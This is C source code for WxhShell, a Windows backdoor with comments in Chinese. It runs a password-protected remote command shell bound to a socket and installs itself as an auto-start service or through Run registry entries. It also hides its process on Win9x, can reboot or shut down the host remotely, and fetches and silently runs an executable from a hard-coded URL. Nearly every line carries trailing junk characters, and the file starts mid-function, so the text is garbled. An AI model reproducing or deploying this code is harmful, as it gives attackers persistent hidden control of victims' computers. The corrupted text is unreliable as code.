    if(Boot(SHUTDOWN)) gZF-zhnC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GZ( W6 4  
    else { C qOvVv  
    closesocket(wsh); ^=Q/ H  
    ExitThread(0); B%QvFxZz  
    } :^]rjy/|+  
    break; h BD .IB  
    } ]E$h7I  
  // 获取shell b7 %Z~  
  case 's': { {3cT\u  
    CmdShell(wsh); |Y?1rLC  
    closesocket(wsh); ~{lSc/SP|  
    ExitThread(0); D#R5G   
    break; qC]6g  
  } P0,@#M&  
  // 退出 Lq<#  
  case 'x': { },zP,y:cH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 31v0V:j  
    CloseIt(wsh); tjYqdbA)  
    break; g.$a]pZz  
    } 7 06-QE^  
  // 离开 Dz4e.tvN  
  case 'q': { tGv5pe*r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tl>D=Vnhh  
    closesocket(wsh); 3BHPD;U  
    WSACleanup(); 0<Q['l4Ar  
    exit(1); Q |,(C0<G  
    break; =wbgZr^2  
        } \2F{r<A\@  
  } NbnahhS  
  } LCKCg[D  
 1$nlRQi  
  // 提示信息 4+Aht]$hC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r$<-2lW  
} KCEBJ{jM  
  } s?r:McF`  
6Q\0v  
  return; x-J.*X/aB  
} !0i6:2nw  
t&m 8 V$Q  
// shell模块句柄 3[`/rg,  
int CmdShell(SOCKET sock) Yl}'hRp  
{ +ZOjbI)  
STARTUPINFO si; tbMf_-g  
ZeroMemory(&si,sizeof(si)); U4`6S43ki  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;nS.t_UW.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gp@X(d  
PROCESS_INFORMATION ProcessInfo; ;\1/4;m  
char cmdline[]="cmd"; hc#Lni R3$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o3C7JG  
  return 0; %%d3M->C}  
} C{Y0}ZrmlF  
39Nz>Nu:  
// 自身启动模式 U~h f,Oxi  
int StartFromService(void) ppL*#/jYt  
{ r2dU>U*:4  
typedef struct R#QOG}  
{ (@wgNA-P  
  DWORD ExitStatus; EyU5r$G  
  DWORD PebBaseAddress; I'W`XN  
  DWORD AffinityMask; l;F\s&^  
  DWORD BasePriority; m/M=.\]  
  ULONG UniqueProcessId; Gs`[\<;LI  
  ULONG InheritedFromUniqueProcessId; ",&^ f  
}   PROCESS_BASIC_INFORMATION; w4I&SLm-b  
bxU2.YC  
PROCNTQSIP NtQueryInformationProcess; f7&53yZF  
XR2Gw 4]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p~LTu<*S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2H\ }N^;f  
 8kn> ?  
  HANDLE             hProcess; aL?+# j^"  
  PROCESS_BASIC_INFORMATION pbi; /?(\6Z_A  
47<fg&T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R -#40  
  if(NULL == hInst ) return 0; >aw`kr  
'c]Fhe fb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ddu1>"p-x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F"|OcKAA}h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r1pj-   
{S l#z }@s  
  if (!NtQueryInformationProcess) return 0; ,Q%q!#@  
z?Hi u6c-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /2s=;tA1  
  if(!hProcess) return 0; Hsdcv~Xr;l  
 kD}w5 U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8rV"? m`S  
zeqwmV=  
  CloseHandle(hProcess); v,}Mn7:  
JCe%;U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^$>Q6.x?*)  
if(hProcess==NULL) return 0; Chso]N.1  
`eo$o!  
HMODULE hMod; r$Gz  
char procName[255]; ,_wpYTl*X  
unsigned long cbNeeded; H^TU?vz} <  
+Oxw?`I$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0gevn  
-!bfxbP  
  CloseHandle(hProcess); ?R!?}7  
VoG_'P  
if(strstr(procName,"services")) return 1; // 以服务启动 ;xXD2{q  
ffH]`N  
  return 0; // 注册表启动 J]AkWEiCJ  
} J=l\t7w  
:abpht  
// 主模块 >Tf <8r,  
int StartWxhshell(LPSTR lpCmdLine) uge~*S  
{ r*F^8_YMK  
  SOCKET wsl; xGkc_  
BOOL val=TRUE; z JBcz,  
  int port=0; +<})`(8  
  struct sockaddr_in door;  gl$}t H  
 9M]%h  
  if(wscfg.ws_autoins) Install(); Jn\@wF9xd  
>?L)+*^  
port=atoi(lpCmdLine); D!g \-y  
7;8DKY q  
if(port<=0) port=wscfg.ws_port; F!RzF7h1  
IE*5p6IM~  
  WSADATA data; ~[Fh+t(Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QAxR'.d  
J/k4CV*li(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '=V1'I*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S%6V(L|  
  door.sin_family = AF_INET; eaWK2%v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z@ dS,M*  
  door.sin_port = htons(port); Ny" "lcy  
%E\pd@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dxa[9>V  
closesocket(wsl); /EvnwYQy  
return 1; l0&U7gr  
} IW>\\&pJ  
8ioxb`U  
  if(listen(wsl,2) == INVALID_SOCKET) { Ib}~Q@?2  
closesocket(wsl); IM(=j  
return 1; D:56>%y@  
} M>rertUR  
  Wxhshell(wsl); ).i :C(|  
  WSACleanup(); K&IHt?vh!  
Y$4dqn  
return 0; X[E!q$ag  
m\"X%Y#  
} na`8ulN_  
Aq*,cOF+  
// 以NT服务方式启动 .a_xQ]eQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IKFNu9*"h  
{ KB`">zq$u  
DWORD   status = 0; 8(@ Y@`/  
  DWORD   specificError = 0xfffffff; '-2|GX_o  
Cj10?BNV)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8h{;*Wr-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1\LK[tvh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @tfatq+q  
  serviceStatus.dwWin32ExitCode     = 0; i}_d&.DbF  
  serviceStatus.dwServiceSpecificExitCode = 0; Y{`hRz`  
  serviceStatus.dwCheckPoint       = 0; aSM S uX8  
  serviceStatus.dwWaitHint       = 0; 3;er.SFu{  
a IgV"3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @~j- -L  
  if (hServiceStatusHandle==0) return; OlcWptM$  
(U_dPf  
status = GetLastError(); F !MxC  
  if (status!=NO_ERROR) JPmZ%]wA  
{ QG]*v=Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dMDSyd<(  
    serviceStatus.dwCheckPoint       = 0; @sG5Do  
    serviceStatus.dwWaitHint       = 0; }Zp5d7(@w  
    serviceStatus.dwWin32ExitCode     = status; b l]YPx8  
    serviceStatus.dwServiceSpecificExitCode = specificError; <;q)V%IUz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gMB/ ~g5b0  
    return; PESJ7/^E  
  } G&\!!i|IQ  
qYbPF|Y=Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <xaB$}R  
  serviceStatus.dwCheckPoint       = 0; &^JYIRn1\  
  serviceStatus.dwWaitHint       = 0; ibxtrt=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NVG`XL  
} IEQ6J}L  
12S[m~L%  
// 处理NT服务事件,比如:启动、停止 &Tn7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 40Z/;,wp{  
{ - * _"ZgE  
switch(fdwControl) /e50&]2w  
{ Jo9!:2?  
case SERVICE_CONTROL_STOP: jKhj 7dR  
  serviceStatus.dwWin32ExitCode = 0; EC f $  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i= s>a;*#  
  serviceStatus.dwCheckPoint   = 0; JNSH'9!n6  
  serviceStatus.dwWaitHint     = 0; a4D4*=!G0  
  { }< m@82\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zE_t(B(Q  
  } gLQbA$gB  
  return; P#x]3j]  
case SERVICE_CONTROL_PAUSE: yL%k5cO$N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }c;h:CE#  
  break; bl-t>aO*.V  
case SERVICE_CONTROL_CONTINUE: ("rIz8b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~8^)[n+)x  
  break; * ~4m!U_s  
case SERVICE_CONTROL_INTERROGATE: -"X} )N2  
  break; Rss=ihlM  
};  !#Hca  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oQ_n:<3X  
} cwKOE?!  
-nKBSls  
// 标准应用程序主函数 J6*B=PX=(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ykt(%2L  
{ #Cz6c%yK  
t.tdY  
// 获取操作系统版本 "Qxn}$6-  
OsIsNt=GetOsVer(); :O{oVR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `Ef &h V  
^><B5A>;  
  // 从命令行安装 ,O}2LaK.O  
  if(strpbrk(lpCmdLine,"iI")) Install(); YcJ2Arml  
hR3Pa'/i  
  // 下载执行文件 0CS80 pC  
if(wscfg.ws_downexe) { ^jMo?Zwy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +gsk}>"  
  WinExec(wscfg.ws_filenam,SW_HIDE); DU: sQS4  
} d8T,33>T  
#p^r)+\3=  
if(!OsIsNt) { g+iV0bbT  
// 如果时win9x,隐藏进程并且设置为注册表启动 `%M} :T  
HideProc(); ~*Ir\wE  
StartWxhshell(lpCmdLine); !WReThq  
} h8uDs|O9n  
else u:7=Yy :  
  if(StartFromService()) _ Oe|ZQ  
  // 以服务方式启动 gDJ@s    
  StartServiceCtrlDispatcher(DispatchTable); *tZ#^YG{(  
else !saKAb}d7H  
  // 普通方式启动 k&>l#oH  
  StartWxhshell(lpCmdLine); JI}p{ yI  
hT<:)MG)+K  
return 0; C JNz J(  
} % 1p4K)  
|uE _aFQs  
X@7K#@5  
07dUBoq  
=========================================== PX1Scvi  
dLek4q `l  
6uH1dsD  
pY9>z;qD  
o ) FjWf;  
FE/2.!]&o  
" 8Bnw//_pT  
^D0BGC&&  
#include <stdio.h> "@[xo7T  
#include <string.h> ;ckv$S[p  
#include <windows.h> d#eHX|+  
#include <winsock2.h> m'%Z53&  
#include <winsvc.h> r6-'p0|   
#include <urlmon.h> -=]LQHuQ  
{l7@<xZ??M  
#pragma comment (lib, "Ws2_32.lib") I({ 7a i  
#pragma comment (lib, "urlmon.lib") \..(!>,%F  
3*gWcPGe  
#define MAX_USER   100 // 最大客户端连接数 ^Y:Q%?uB/  
#define BUF_SOCK   200 // sock buffer sE8.,\  
#define KEY_BUFF   255 // 输入 buffer Pk; 9\0k7  
K,IPVjS  
#define REBOOT     0   // 重启 p3eJFg$  
#define SHUTDOWN   1   // 关机 3&@MZF&  
AOaf,ZF 8  
#define DEF_PORT   5000 // 监听端口  N>Pufr  
\g}FoN&  
#define REG_LEN     16   // 注册表键长度 @zJ#16V i  
#define SVC_LEN     80   // NT服务名长度 ku'%+svD  
XabrX|B#  
// 从dll定义API b+M[DwPw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qpl"j-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~j\/3;^s   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;61m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lC1X9Op  
xy|-{  
// wxhshell配置信息 I$`Vw >  
struct WSCFG { ~5wCehSb  
  int ws_port;         // 监听端口 Sg<''pUh  
  char ws_passstr[REG_LEN]; // 口令 V_(?mC  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~::gLm+f  
  char ws_regname[REG_LEN]; // 注册表键名 9& W\BQ  
  char ws_svcname[REG_LEN]; // 服务名 7OOB6[.fu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S@7A)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cQv*lvG9>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `4&\ %9   
int ws_downexe;       // 下载执行标记, 1=yes 0=no <!zItFMD[m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *qG=p`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m[{*an\  
qgca4VV|z  
}; y( MF_'l  
CFZ= !s)B  
// default Wxhshell configuration zF]hf P0Q  
struct WSCFG wscfg={DEF_PORT, |l ~BdP  
    "xuhuanlingzhe", $}k"wI[  
    1, JPUDnPr  
    "Wxhshell", ;8g#"p*&  
    "Wxhshell", Vb 4Qt#o  
            "WxhShell Service", DI}h?Uf ,  
    "Wrsky Windows CmdShell Service", !T0IMI  
    "Please Input Your Password: ", -JZl?hY(  
  1, ZrA\a#z"<  
  "http://www.wrsky.com/wxhshell.exe", 5H 1(C#|  
  "Wxhshell.exe" nL+*Ja  
    }; }M|  
;lAz@jr+  
// 消息定义模块 u3,b,p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {djOU 9]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `s:| 4;.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .(S,dG0P  
char *msg_ws_ext="\n\rExit."; /p>"|z  
char *msg_ws_end="\n\rQuit."; ~N'KIP[W  
char *msg_ws_boot="\n\rReboot..."; XE$eHx3;  
char *msg_ws_poff="\n\rShutdown..."; e`$v\7K  
char *msg_ws_down="\n\rSave to "; 3<+l.Wly  
l}(~q!r  
char *msg_ws_err="\n\rErr!"; V6$v@Zq  
char *msg_ws_ok="\n\rOK!"; .<42-IEc  
p]+W1v}V!  
char ExeFile[MAX_PATH]; Y+?bo9CES!  
int nUser = 0; x\Sp~]o3C  
HANDLE handles[MAX_USER]; E7_^RWG  
int OsIsNt; A{6ZEQAh>  
Y\p yl  
SERVICE_STATUS       serviceStatus; Lp ]d4"L;3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~82jL%-u  
(rw bF  
// 函数声明 xJ&StN/'  
int Install(void); 82)d.>  
int Uninstall(void); (Z,,H1L  
int DownloadFile(char *sURL, SOCKET wsh); F'j:\F6C;  
int Boot(int flag); )edM@beY_  
void HideProc(void); }(tGjx]  
int GetOsVer(void); Wt3\&.n  
int Wxhshell(SOCKET wsl); 6!"15dPN  
void TalkWithClient(void *cs); ZTmdS  
int CmdShell(SOCKET sock); ',!#?aGV  
int StartFromService(void); 2qr%xK'^B  
int StartWxhshell(LPSTR lpCmdLine); C#-x 3d-{  
cE*|8'rSf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~!A,I 9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i2j)%Gc}  
n)K6Z{x  
// 数据结构和表定义 AN~1E@"  
SERVICE_TABLE_ENTRY DispatchTable[] = `z=MI66Nl  
{ <![T~<.  
{wscfg.ws_svcname, NTServiceMain}, ZY/at/v  
{NULL, NULL} ,OasT!Sr  
}; sG VC+!E  
MJg^ QVM  
// 自我安装 E>g'!  
int Install(void) zWY6D4   
{ @W @L%<  
  char svExeFile[MAX_PATH]; g{J3Ba  
  HKEY key; 84 knoC  
  strcpy(svExeFile,ExeFile); .M! (|KE4  
i5n 'f6C  
// 如果是win9x系统,修改注册表设为自启动 QHM39Eu]  
if(!OsIsNt) { ./g0T{&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kv5Qxj}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S$H4xkKs  
  RegCloseKey(key); &1[5b8H;+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xl aNR+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]52_p[hZ}<  
  RegCloseKey(key); B\=&v8  
  return 0; cKfYkJ)A'  
    } 8@qahEgQ  
  } MoX* e  
} [MEa@D<7N  
else { vv8$u3H  
$o@?D^  
// 如果是NT以上系统,安装为系统服务 uVO9r-O8p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SUVr&S6Nk  
if (schSCManager!=0) & aLR'*]6  
{ OKU P  
  SC_HANDLE schService = CreateService SA&wW\Ym]  
  ( n)=&=Uj`f  
  schSCManager, \D[BRE+  
  wscfg.ws_svcname, vB Jva8;Q  
  wscfg.ws_svcdisp, 16+@#d%#p  
  SERVICE_ALL_ACCESS, K7l{&2>?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AHA*yC  
  SERVICE_AUTO_START, .6"7Xxe]<  
  SERVICE_ERROR_NORMAL, an7N<-?  
  svExeFile, f@}(<#  
  NULL, o+t?OG/0  
  NULL, M)xK+f2_[  
  NULL, )b7mzDp(  
  NULL, dG rA18  
  NULL ='JX_U`A^F  
  ); *= 71/&B  
  if (schService!=0) MJC Yi<D  
  { }"8_$VDcz  
  CloseServiceHandle(schService); UEeqk"t^  
  CloseServiceHandle(schSCManager); uJO*aA{K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /Yh([P>  
  strcat(svExeFile,wscfg.ws_svcname); Ya. $x~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u<8Q[_E&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &q U[ wn:1  
  RegCloseKey(key); :U*[s$  
  return 0; fr?eOigbl  
    } 'I~dJEW7  
  } %qQ(@TG  
  CloseServiceHandle(schSCManager); 4mAtYm  
} %G@aZWk Sa  
} @$*c0 . |z  
96.Wfx  
return 1; <#Lw.;(U;k  
} x -!FS h8q  
?gtkf[0B|  
// 自我卸载 fkG8,=  
int Uninstall(void) oN$ZZk R  
{ (NQ[AypMI  
  HKEY key; e)7)~g54  
cm3Y!p{p"  
if(!OsIsNt) { 'SieZIm)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OS 6 )`  
  RegDeleteValue(key,wscfg.ws_regname); s7e'9Bx  
  RegCloseKey(key); 6)$_2G%Zq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dF,FH-  
  RegDeleteValue(key,wscfg.ws_regname); $!f$R`R^Q\  
  RegCloseKey(key); h$&XQq0T  
  return 0; }rE|\p>  
  } GEA;9TU|V  
} M($},xAvDU  
} > 95Cs`>d  
else { (`NRF6'&1L  
[jw o D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;Ki1nq5c#s  
if (schSCManager!=0) w}0Qy  
{ q{ hq.KZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $ T4PC5.  
  if (schService!=0) .+|DN"PgJ  
  { hLvv:C@  
  if(DeleteService(schService)!=0) { Vk (bU=w  
  CloseServiceHandle(schService); agYK aM1N  
  CloseServiceHandle(schSCManager); {dwV-qz  
  return 0; ie!4z34  
  } W!k6qTz)  
  CloseServiceHandle(schService); 3EvA 5K.  
  } #+;=ijyF  
  CloseServiceHandle(schSCManager); _D9=-^  
} Em,!=v(*  
} O5Lv :qAa  
.;2!c'mT9  
return 1; IT(c'}  
} M\&~Dmd  
UjaC( c  
// 从指定url下载文件  ~^S-  
int DownloadFile(char *sURL, SOCKET wsh) |DW'RopM  
{ }WbN)  
  HRESULT hr; 76b7-Nj"  
char seps[]= "/"; 1Tq$E[  
char *token; )9r%% #  
char *file; 1Q5<6*QL"  
char myURL[MAX_PATH]; dx}/#jMa  
char myFILE[MAX_PATH]; IJ8DN@w9  
k)py\  
strcpy(myURL,sURL); ?/( K7>`  
  token=strtok(myURL,seps); b-?o?}*  
  while(token!=NULL) zq.&Mw?  
  { ]3xa{ h~4  
    file=token; =]a@)6y  
  token=strtok(NULL,seps); %7#Zb'  
  } {*<C!Qg  
 >Gu0&  
GetCurrentDirectory(MAX_PATH,myFILE); ,NEs{! T  
strcat(myFILE, "\\"); 3kCbD=yF  
strcat(myFILE, file); Y14R"*t~  
  send(wsh,myFILE,strlen(myFILE),0); Wu( 8 G  
send(wsh,"...",3,0); #!jRY!2Vt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >!1f`  
  if(hr==S_OK) s8[9YfuW  
return 0; 4C%>/*%8>  
else ^-u HdafP  
return 1; w<Cmzkf  
rcx;3Vne  
} S I7B6c  
P|4E1O  
// 系统电源模块 ]$*{<  
int Boot(int flag) 1H =wl =K  
{ e@=[+iJc  
  HANDLE hToken; 7omGg~!k(  
  TOKEN_PRIVILEGES tkp; i4n b#  
Oq,.Kz  
  if(OsIsNt) { sjI[Vq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /K) b0QX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yZp:hs#  
    tkp.PrivilegeCount = 1; VaSNFl1_M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vvAk<[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NP`s[  
if(flag==REBOOT) { 15 o.j!S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _c8.muQ<  
  return 0; 82za4u$q#  
} 3:joSQa  
else { M/a/H=J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C;q}3c*L  
  return 0; _(`X .D  
} mN{ajf)@  
  } B" m:<@ "  
  else { Y-q@~v Z]  
if(flag==REBOOT) { 5 ?~-Vv31s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "42$AaS  
  return 0; o U}t'WU  
} sNfb %r  
else { P9"D[uz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #)A?PO2  
  return 0; ckN(`W,xp  
} $&=;9="  
} &n]Z1e}5  
rtL9c w5  
return 1; f=_?<I{  
} IHbow0'  
~hz@9E]O  
// win9x进程隐藏模块 7e4tUAiuU  
void HideProc(void) SKSAriS~  
{ A Ok7G?Y  
h0 GdFWN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /P!X4~sTM  
  if ( hKernel != NULL ) wYQ1Z  
  {  K-5"#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9`C iE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $qtU  
    FreeLibrary(hKernel); /-{O\7-D  
  } N(-%"#M$  
'RV\}gqZ  
return; qa$[L@h>  
} nUud?F^_  
jaO#><f  
// 获取操作系统版本 _c9 WWp?  
int GetOsVer(void) \e:FmG  
{ Wqs.oh  
  OSVERSIONINFO winfo; [> &+*c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?X_0Iy}1  
  GetVersionEx(&winfo); )_ b@~fC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '5xuT _  
  return 1; Ec*--]j*c  
  else $qlqW y-s  
  return 0; p=-B~:  
} F*4Qa  
F0BOhlK  
// 客户端句柄模块 p#;dLM/EA  
int Wxhshell(SOCKET wsl) iTugvb  
{ <S8I"8{Mb  
  SOCKET wsh; *M5$ h*;v  
  struct sockaddr_in client; 2>MP:yY;K  
  DWORD myID; Eo { 1y  
$: 4mOl  
  while(nUser<MAX_USER) W -C0 YU1  
{ [2QY  
  int nSize=sizeof(client); N}+B:l]Qy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K*Nb_|~  
  if(wsh==INVALID_SOCKET) return 1; >|_gT%]5  
y13CR2t6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D)*_{   
if(handles[nUser]==0) F`;TU"pDf  
  closesocket(wsh); g~Nij~/  
else neB.Wu~WH  
  nUser++; +2V%'{:  
  } \}u7T[R=`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Owh*KY:  
igRDt{}  
  return 0; ^i`3cCFB<  
} E2qB:  
z6FbM^;;  
// 关闭 socket Pa +AF  
void CloseIt(SOCKET wsh) #"o6OEy$A#  
{ f $.\o  
closesocket(wsh); Gh$y#0qr  
nUser--; [L*[j.r7[  
ExitThread(0); %qNj{<&  
}  '{j\0  
ui.QYAYaV  
// 客户端请求句柄 ]s*[Lib  
void TalkWithClient(void *cs) m0BG9~p|  
{ %/tGkS6  
w>z8c3Dq}  
  SOCKET wsh=(SOCKET)cs; Imh2~rw;  
  char pwd[SVC_LEN]; f*|8n$%   
  char cmd[KEY_BUFF]; f\x@ C)E  
char chr[1]; S<y>Y  
int i,j; 33{;[/4  
q(ZB.  
  while (nUser < MAX_USER) { ]|C_`,ux  
,`%k'ecN  
if(wscfg.ws_passstr) { -+ ]T77r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fw1;i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :>tF_6  
  //ZeroMemory(pwd,KEY_BUFF); `eMrP`  
      i=0; d5w_[=9U  
  while(i<SVC_LEN) { H7z>S G0  
`zElBD  
  // 设置超时 DU/9/ I?~  
  fd_set FdRead; :Bx+WW&P.i  
  struct timeval TimeOut; d{iu+=NXz  
  FD_ZERO(&FdRead); 0%h [0jGj  
  FD_SET(wsh,&FdRead); (!3Yc:~RE  
  TimeOut.tv_sec=8; ~4MtDf  
  TimeOut.tv_usec=0; ;1{iF2jZ:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @7Q*h   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .KT 7le<Zm  
vKU]80T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D_l/Gxdpr  
  pwd=chr[0]; %K&+~CJE  
  if(chr[0]==0xd || chr[0]==0xa) {  ESC  
  pwd=0; q;~R:}?@  
  break; } D/+<  
  } Qag|nLoT  
  i++; ZfFIX5Qd\  
    }  uD.  
nu4Pc  
  // 如果是非法用户,关闭 socket 7%:??*"~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cwH,l$  
} 8eOl@}bV  
]yyU)V0Iu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f0-RhR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QE7+rBa  
B8bvp:Ho|  
while(1) { Bl kSWW/  
#t"9TP  
  ZeroMemory(cmd,KEY_BUFF); [=XZza.z  
Nf=C?`L  
      // 自动支持客户端 telnet标准   .Lr`j8  
  j=0; GIl:3iB49  
  while(j<KEY_BUFF) { a='IT 5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^K7q<X,  
  cmd[j]=chr[0]; jG+T.  
  if(chr[0]==0xa || chr[0]==0xd) { N+*(Y5TU  
  cmd[j]=0; &tlR~?$e*  
  break; 21.YO]Et  
  } kA1RfSS  
  j++; ,$HHaoo g  
    } f?2zLE>u  
3cmbK  
  // 下载文件 w0#% AK  
  if(strstr(cmd,"http://")) { zSEr4^Dk4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &(lMm)  
  if(DownloadFile(cmd,wsh)) 9U!JK3d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qv.[k<~a>  
  else k%"$$uo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  =Ov9Kf  
  } "\NF  
  else { j1'\R+4U  
Xfj)gPt}  
    switch(cmd[0]) { g+:$X- r  
  1UC2zM"  
